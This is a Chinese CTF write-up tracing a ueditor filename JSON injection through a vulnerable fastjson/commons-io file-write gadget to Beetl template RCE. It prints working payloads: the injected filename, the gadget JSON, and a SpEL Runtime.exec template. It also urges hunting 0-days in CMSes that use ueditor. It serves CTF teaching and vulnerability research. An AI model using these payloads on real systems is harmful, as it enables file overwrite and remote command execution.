文章首发于先知社区,传送门。
TL;DR
前段时间给venom
招新赛出了两道题,其中的java
题源自去年审计ueditor
源码时发现的一个小问题,感觉有希望产出一些漏洞,接着探索了一下发现确实有洞。因为利用过程太过ctf
了,并且相对简单所以理所当然做成了一道ctf
题目。
ueditor的JSON注入隐患
你好 ueditor
ueditor
在2023
年在github
上停止维护,实际上五年前就不在更新了。在java
版本当中,官方给出了上传文件的标准用法,即调用String json = new ActionEnter(request, rootPath).exec()
,正常来说后端直接返回json
字符串即可。
但是,如果开发者想修改返回的属性(增删几个key
)的话,还是会用JSON
解析库解析json
,如果在json
字符串(部分)可控的情况下,此时可能会出现安全问题。大概扫了一眼国内的CMS
引入ueditor
还挺多的,师父们可以看看有哪些cms
调用了ueditor
并且进行不安全编码规范导致漏洞触发,没准能刷点0day
。
喜提忽略一枚:
隐患分析
潜在隐患,也就是sink
在com.baidu.ueditor.define.BaseState#toString
方法中,new ActionEnter(request, rootPath).exec()
实际上调用的就是该方法。
其主要逻辑是对map
进行遍历,把key
和value
进行处理最终制作成JSON
字符串形式。
其中key
和value
用+
进行拼接,如果key
或value
可控的话可能会导致json
注入问题。
我们来找一下key
或value
是否可控,ActionEnter#invoke
方法调用了state#toJSONString
,可以看到当ActionMap
为UPLOAD_FILE
(文件上传)操作时会触发 Uploader#doExec
。
接着看Uploader#doExec
的逻辑,这里会根据是否base64
调用不同类的save
方法。当操作为UPLOAD_FILE
时配置类ConfigManager
的isBase64
为false
,所以Uploader#doExec
触发BinaryUploader#save
。
case ActionMap.UPLOAD_FILE:
conf.put("isBase64", "false");
conf.put("maxSize", this.jsonConfig.getLong("fileMaxSize"));
conf.put("allowFiles", this.getArray("fileAllowFiles"));
conf.put("fieldName", this.jsonConfig.getString("fileFieldName"));
savePath = this.jsonConfig.getString("filePathFormat");
break;
继续审计BinaryUploader#save
函数,可以看到originFileName
是由上传表单的filename
控制的,找到了可控点。值得注意的是程序校验了后缀名,这很好绕过。令filename
为filename=flag","vulnerable":"hacked","a":".txt
即可绕过检测。最终会把originFileName
放进BaseState
当中。
接着触发toJSONString
通过拼接把恶意字符处理为字符串,也就是开头提到的sink
。
发现以上函数调用可以通过/ueditor
路由触发,其中返回的json
为恶意字符串,最终把json
传给了uploadService#uploadHandle
。因此我们可以看看uplodaHandle
方法干了啥,使得一个JSON
注入隐患最终造成远程命令执行。
漏洞触发思考
到目前为止仅仅是存在一个隐患,如果开发者没有解析JSON
字符串那么不会造成真正的危害,当时想应该有两个利用面。
- 直接使用
fastjson#parse
解析该字符串,倘若fj
的版本较低,那么可以RCE
。 - 需要观察开发解析字符串后的逻辑,比如开发自己实现了备份文件的功能,而备份文件的路径取自
filepath
之类的,此时利用JSON
注入注进去一个同名属性filepath
,可能会覆盖点原有的filepath
从而造成任意文件上传。
利用
当时确实找到了几个洞,其中star
最多的cms
被我修修改改做成了这道题,实际上就是低版本fastjson
解析的问题啦。接下来就复制粘贴wp
了。
题目只有登录,文件上传功能。
其中IndexController
处理登录逻辑,不存在注入问题。
UploadController
要求登陆用户为admin
才能上传,弱口令admin/admin
即可登录。
public String upload(HttpServletRequest request, Model model, HttpSession session, @RequestParam(value = "action",required = false) String action) throws URISyntaxException {
String user=(String) session.getAttribute("user");
if(!"admin".equals(user)){
model.addAttribute("message","no way");
return "upload";
}
if(action == null){
model.addAttribute("message","传个文件吧");
return "upload";
}
String json = new ActionEnter(request, UploadController.class.getResource("/").toURI().getPath()+rootPath).exec();
String contextPath = request.getContextPath();
// 文件处理
String handlerOut = uploadService.uploadHandle(action, json, contextPath);
model.addAttribute("message",handlerOut);
return "upload";
}
真正处理文件上传逻辑在new ActionEnter(request, UploadController.class.getResource("/").toURI().getPath()+rootPath).exec();
,即调用了ueditor
提供的函数来实现文件上传,而UploadServiceImpl#uploadFileHandler
方法仅仅是多加了一个返回字段。
我猜有些师傅看到文件上传就会想到上传btl
来覆盖test.btl
等模板来打模板注入RCE
,但ueditor
的文件上传逻辑限制的比较死。一方面是通过config.json
来限制了文件后缀,不能上传btl
;另一方面也没法目录穿越。
所以很快就能发现UploadServiceImpl#uploadFileHandler
方法十分可疑。这里通过parseObject
处理outJsonString
字符串,再看一眼fj
的依赖不是最新的,当时也是给出了提示,很明显sink
就在这里。
protected String uploadFileHandler(String outJsonString, String contextPath) {
State state = null;
JSONObject json = JSON.parseObject(outJsonString);
if (!"SUCCESS".equals(json.getString("state"))) {
return "error";
}
json.put("author","squirt1e");
return state == null ? outJsonString : state.toJSONString();
}
如果outJsonString
可控就可以利用了,而outJsonString
是ueditor
的方法返回的字符串,需要审计ueditor
源码,就是上面那一部分。
fastjson common-io任意文件写
uploadHandle
通过parseObject
方法对恶意字符串进行解析,可以看到json
已经被污染了。
本题用到的fastjson
为1.2.66
,版本不高存在利用的可能。观察pom.xml
发现存在commons-io 2.7
(多提一嘴ueditor.jar
本身引入了common-io
)。不难想到fastjson1.2.68
结合common-io2.x
可以打一个任意文件写入,构造原理可以参考su18
发的博客。值得注意的一点是json
的第一个属性"state":"SUCCESS
“是不可控的,令filename
为flag",{"@type":"java.net.Inet4Address","val":"bgb5eh.ceye.io"},"a":".txt
即可正常恢复Java Bean
。
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charset": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
除了属性开头的坑之外还有好多坑,实际上ueditor Json injection
那里大概看了没多久就审出来了,但是利用卡了我一天。。
第一点是fj
调用构造函数存在随机性,而WriterOutputStream
恰好有一堆很相似的构造函数,所以在构造的时候需要注意WriterOutputStream
构造方法的第二个属性是charset
或charsetName
,如果属性名称错误会报Exception in thread "main" com.alibaba.fastjson.JSONException: create instance error, null, public
。
public WriterOutputStream(Writer writer, Charset charset, int bufferSize, boolean writeImmediately) {
this(writer, charset.newDecoder().onMalformedInput(CodingErrorAction.REPLACE).onUnmappableCharacter(CodingErrorAction.REPLACE).replaceWith("?"), bufferSize, writeImmediately);
}
public WriterOutputStream(Writer writer, String charsetName, int bufferSize, boolean writeImmediately) {
this(writer, Charset.forName(charsetName), bufferSize, writeImmediately);
}
第二点是该方法(应该)仅支持绝对路径文件写入,MiscCodec
中限制了相对路径写入。不过题目应该会给docker
所以选手到时候看docker
里的模板路径就可以了。如果难度不够的话绝对路径这部分可以当个考点。
else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
if (clazz == File.class) {
if (strVal.indexOf("..") >= 0 && !FILE_RELATIVE_PATH_SUPPORT) {
throw new JSONException("file relative path not support.");
} else {
return new File(strVal);
}
第三点是写不进去双引号"
,分号;
之类的字符。这部分不是任意文件写这条gadget
的问题,而是因为ueditor
这里的JSON
注入是个http
请求头中的filename
注入,所以写一些奇怪字符会导致http
请求出现一些问题。结合beetl
语法用parameter.a
就能绕过了。后续在访问恶意模板时加个参数?a
即可。
beetl模板RCE
这部分和本文主旨无关啦。
beetle
国产模板实际上很好RCE
(话说经过RWCTF thymeleaf
那道题的洗礼后看啥模板都有自信了),模板支持java
方法以及属性调用。并且防护类DefaultNativeSecurityManager
就一个黑名单,翻翻issue
就能找到payload
,即便修了还是会有一大堆。
所以我参考patch
写了一个看似无懈可击的白名单类。
只允许调用venom.elephantcms
的方法,选手只能调用我自己写的方法,而往下翻翻就找到了这个类居然有个test
方法可以重新定义callPattern
白名单,callPattern
我故意没写final
修饰。
public class WhiteListNativeSecurityManager implements NativeSecurityManager {
public static Pattern callPattern = null;
public WhiteListNativeSecurityManager(){
allow(Arrays.asList("venom.elephantcms"));
}
@Override
public boolean permit(Object resourceId, Class c, Object target, String method) {
if (c.isArray()) {
// WhiteListNativeSecurityManager.class.getClassLoader()
// 允许调用,但实际上会在在其后调用中报错。不归此处管理
return true;
}
// Runtime.getRuntime()
String name = c.getName();
String className = null;
String pkgName = null;
int i = name.lastIndexOf('.');
if (i == -1) {
// 无包名,肯定安全,允许调用
return true;
}
return callPattern.matcher(name).matches();
}
public static String test(String test){
allow(Arrays.asList(test.split(",")));
return "ok";
}
/**
* 指定白名单,默认是java.util
* @param calls ,调用,如 [java.util,java.io.File]
*/
public static void allow(List<String> calls){
StringBuilder sb = new StringBuilder();
for(String pkg:calls){
int c = pkg.lastIndexOf('.');
boolean classCall = false;
if(Character.isUpperCase(pkg.charAt(c+1))){
classCall = true;
}
if(classCall){
sb.append(pkg.replace(".","\\."));
}else{
sb.append(pkg.replace(".","\\.")).append("\\..*");
}
sb.append("|");
}
sb.setLength(sb.length()-1);
callPattern = Pattern.compile(sb.toString());
}
// public static void main(String[] args) {
//
// {
// test("java.lang");
// }
//
// }
}
能自己定义白名单类的话就随便绕了。
总结
思路很明确:通过构造恶意的文件名打一个JSON
注入攻击parseObject
覆盖/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/templates/test.btl
,第一次文件写入调用test
方法覆盖白名单多放点包路径。
${@nese.elephantcms.common.WhiteListNativeSecurityManager.test('org.springframework,java.beans,venom.elephantcms')}
第二次文件写入覆盖upload.btl
打RCE
即可。
${@java.beans.Beans.instantiate(null,parameter.a).parseExpression(parameter.b).getValue()}
/upload?a=org.springframework.expression.spel.standard.SpelExpressionParser&b=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('{command}').getInputStream()).next()
不过还有个坑点就是第二步覆盖的模板不能是test.btl
了,可能是缓存的原因导致即便写入第二次的payload
访问模板还是会执行第一次的payload
。
梭:
非预期
“随便打打”师傅在比赛过程中做出了这道题,用的是fastjson mysql
任意文件读出来的flag
,我觉得只要审出来json
拼接就算是预期。另外其实任意文件写jsp
也可以(属实是小丑了),不过由于挖的那个day
是jfinal
框架写的,filter
过滤了jsp
,不过也有办法绕过就是了。
关于jsp
写webshell
需要分号;
的问题(写不了分号的原因在上面提到了),我当时是没有解决所以这里预期解是覆盖.btl
模版。现在想想应该有方法解决,之前读RFC
标准的时候好像看到有可以url
编码请求头的操作。
自动化思路
github
是支持代码搜索的,所以我们可以通过github
提供的搜索接口来寻找引入ueditor
的java
项目,但显然国内的cms
引入ueditor
会多一些,但可惜gitee
上不提供代码检索功能,即便如此,我还是找到了一百多个项目。
第二步就是简单的污点分析,这一部分偷懒就命令行调semgrep
来做(其实是不会),最后发现漏洞还是挺少的。。不过也算是一次尝试吧。